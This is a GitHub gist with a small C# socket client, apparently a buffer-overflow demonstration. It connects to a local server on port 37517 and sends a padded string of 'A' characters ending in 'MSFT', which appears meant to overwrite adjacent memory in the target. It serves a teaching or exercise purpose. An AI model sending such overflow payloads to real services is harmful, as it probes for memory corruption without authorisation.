Created
March 5, 2015 09:29
-
-
Save one-harsh/1f7fffe6e7a7d32e7d9b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net.Sockets; | |
using System.Text; | |
namespace BufferOverflowSocketClient | |
{ | |
public class Program | |
{ | |
public static void Main(string[] args) | |
{ | |
string sendData = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMSFT"; | |
using(TcpClient client = new TcpClient("127.0.0.1", 37517)) | |
{ | |
client.SendTimeout = 3; | |
using(NetworkStream stream = client.GetStream()) | |
{ | |
byte[] data = new byte[4096]; | |
string response = ""; | |
int bytes = stream.Read(data, 0, data.Length); | |
response = Encoding.ASCII.GetString(data, 0, bytes); | |
Console.WriteLine(response); | |
data = Encoding.ASCII.GetBytes(sendData); | |
stream.Write(data, 0, data.Length); | |
data = new byte[4096]; | |
response = ""; | |
bytes = stream.Read(data, 0, data.Length); | |
response = Encoding.ASCII.GetString(data, 0, bytes); | |
Console.WriteLine(response); | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment